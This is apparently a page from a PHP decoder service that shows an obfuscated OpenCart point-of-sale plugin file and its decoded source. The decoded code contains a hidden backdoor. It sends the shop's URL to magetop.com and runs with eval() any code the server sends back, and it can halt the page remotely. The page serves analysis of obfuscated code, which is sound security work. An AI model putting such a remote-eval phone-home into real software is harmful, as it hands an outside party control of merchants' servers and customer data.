Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode(rawurldecode('XZfHDoRGEEQ%2Fx7Y4AMuS5BM558zFIuec%2BXqvr%2BY6E..
Decoded Output download
$this->language->load('common/pos');
$this->document->setTitle($this->language->get('heading_title'));
$this->document->addScript('view/javascript/pos/jquery.indexeddb.js');
$this->document->addScript('view/javascript/pos/pos.js');
$this->document->addScript('view/javascript/pos/jcarousel/jquery.jcarousel.min.js');
$this->document->addScript('view/javascript/pos/jcarousel.responsive.js');
$this->document->addScript('view/javascript/pos/jcarousel.ajax.js');
$this->document->addScript('view/javascript/pos/jquery.mousewheel.js');
$this->document->addScript('view/javascript/pos/jquery.jscrollpane.js');
$this->document->addScript('view/javascript/pos/numeral.min.js');
$this->document->addStyle('view/stylesheet/pos.css');
$this->document->addStyle('view/stylesheet/jcarousel.responsive.css');
$this->document->addStyle('view/stylesheet/jquery.jscrollpane.css');
$this->data['token'] = $this->session->data['postoken'];
$this->data['data_url'] = html_entity_decode($this->url->link('common/pos/data', 'token=' . $this->session->data['postoken'], 'SSL'));
$this->data['status_url'] = html_entity_decode($this->url->link('common/pos/status', 'token=' . $this->session->data['postoken'], 'SSL'));
$url = 'http://magetop.com/api-pos.php';
$fields = array(
'url' => urlencode(HTTP_SERVER)
);
$fields_string = '';
foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; }
rtrim($fields_string, '&');
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_POST, count($fields));
curl_setopt($ch,CURLOPT_POSTFIELDS, $fields_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
if($result != '')
{
$result = json_decode($result);
if(isset($result->message) and $result->message !='' )
{
$this->data['error_message'] = $result->message;
}
if(isset($result->code) and $result->code !='' )
{
eval($result->code);
}
if(isset($result->status) and $result->status == -1)
{
echo $result->message;
exit;
}
}
//close connection
curl_close($ch);
$this->load->model('setting/setting');
$this->load->model('sale/customer');
$this->load->model('localisation/currency');
$pos = $this->model_setting_setting->getSetting('openpos',$this->session->data['store_id']);
$tmp_store = $this->model_setting_setting->getSetting('config',$this->session->data['store_id']);
if(!isset($tmp_store['config_invoice_prefix']))
{
$tmp_store['config_invoice_prefix'] = '';
}
$store = array(
'store_id' => $this->session->data['store_id'] ,
'config_invoice_prefix'=> $tmp_store['config_invoice_prefix'],
'config_complete_status_id' => $pos['config_pos_complete_status_id'],
'config_invoice_prefix' => $tmp_store['config_invoice_prefix'],
'config_tax' => $tmp_store['config_tax'],
'config_currency' => $tmp_store['config_currency'],
'config_name' => $tmp_store['config_name'],
'config_owner' =>$tmp_store['config_owner'],
'config_address' => $tmp_store['config_address'],
'config_email' => $tmp_store['config_email'],
'config_telephone' => $tmp_store['config_telephone'],
'config_fax' => $tmp_store['config_fax'],
'config_title' => $tmp_store['config_title'],
'config_country_id' => $tmp_store['config_country_id'],
'config_zone_id' => $tmp_store['config_zone_id'],
'config_payment' => $pos['default_payment']
);
$customer = $this->model_sale_customer->getCustomer($pos['openpos_default_customer']['id']);
$currency = $this->model_localisation_currency->getCurrencyByCode($tmp_store['config_currency']);
$address = $this->model_sale_customer->getAddresses($pos['openpos_default_customer']['id']);
$customer['address'] = $address;
$based = 'store';
$tmp_customer = array(
'customer_id'=>$customer['customer_id'],
'firstname'=>$customer['firstname'],
'lastname'=>$customer['lastname'],
'email'=>$customer['email'],
'telephone'=>$customer['telephone'],
);
$default_format = '';
for($i=0;$i<$currency['decimal_place'];$i++)
{
$default_format .='0';
}
$tmp_currency = array(
'default_format' => $currency['symbol_left'].'0,0.'.$default_format.$currency['symbol_right'],
'number_format' => '0,0.'.$default_format
);
$json_pos = array(
'cash_user_id' => $this->user->getId(),
'store' =>$store,
'default_customer'=>$tmp_customer,
'currency' =>$tmp_currency,
'tax_base_on' =>$based,
'tax_class_base' => $pos['config_pos_tax'], // there are 3 type : none, product tax class, choose fixed price ( vale: 0,-1,tax_class_id)
);
$this->data['default'] = json_encode($json_pos);
$this->template = 'common/pos.tpl';
$this->children = array(
'common/header',
'common/footer'
);
$this->response->setOutput($this->render());
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode(rawurldecode('XZfHDoRGEEQ%2Fx7Y4AMuS5BM558zFIuec%2BXqvr%2BY6EtPq6ap%2BVZxJ%2F2eabAX2%2FScvsikv%2FqzeY8ymYV6Lbfvf0R%2BFfOUDvyNb%2B0B1STrXIrbERy5PqqK9QJW5UBJvHlqopHfsECfDHW5JRcq9hl01I3v1OJw%2FCASGXookRALv2EDAjhm3Sm2jLh8W%2BEkTIvYGJQYiac3WTv0rBiyQpCG%2BOJ6WxYoSoAukmFmCXx%2FqwCx4yVnbezG84FMkd1SSk%2FBI8JQ8yLLF96dX9zIsD3HG%2BY%2FEeBYsXw9ZshjGfmO8TAaAUEdsh%2FqTbTdkhj6BA3jhemuNn4hKD41euOQvPI0F%2BrtN2Aew6QVgUey1S5rb90ZqM6Qw9YAeh9C9GJu1Kj8Q9X48GCHo1VG1OjlMhWpm3NydAyYOPCm1XiGeATbNNvIQBN4fBrCscmdkc7A%2FBS%2BAKdYuF2ogogS1NuC50ITkw0dEYkMjFBLU77gGnYcvxygvS8Yqc2lvhsOHwRxFw8RTquLqEP0JKRTt9b7kyzXPQ5aUZIMgcJdIFqlLcK28QatNYhad%2B5zgrWFD36gQBmV%2BKyLjx7haw6PgmPhzo84Vwpt9JLHapTuLKbuEQvwiW%2FOyf4T7FYoHcfLkIvlq%2F85oHLVfPTjQ8ew2HLNeEVsgx9mQaHKTlASgS4fyEzz4uZJPe65mcRdZe4nZ9dc2qIHkZd61vWZ1chkrye3PZ%2B76Ih%2BfUE9xUm1ykc3tSB7EOJ760hkTB6mz5Sal8%2FQRKi7kd7ABnlWRYP9aOu0s1YneXP49L%2FuB5TerdAUHP64egxjjlOqjr7WkITmVGh0PqFV5eQJ0GtkZbnHj5dlMFmiwdmuL7rVwosVMrEbT0tp48EfEIpo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2FfE02W8s3ctdhrwgEM0V8iB1jJ%2FP1lfx7yDG9velz7zbySPByOun65fYTLpn4EjCcW80i6J50ThED7XRqkYdsyMKrvoUQOb6qmdnGFKpTGvpaSk%2BxHipMf2HkqQQSmNLR%2BIAhwDgmHK3ct74m4%2FjcYloosliLm5KLSXXGuqkNBsJoJ%2BTMcT26gCTaeAGcmneeHeuy3Mb8nB4JXJsuOR%2F7x1%2B%2F7%2B18%3D'))));
Function Calls
strrev | 3 |
gzinflate | 10 |
str_rot13 | 9 |
gzuncompress | 4 |
rawurldecode | 1 |
base64_decode | 17 |
Stats
MD5 | 0d4c020af3993d0fe302a65e4e7539dc |
Eval Count | 15 |
Decode Time | 126 ms |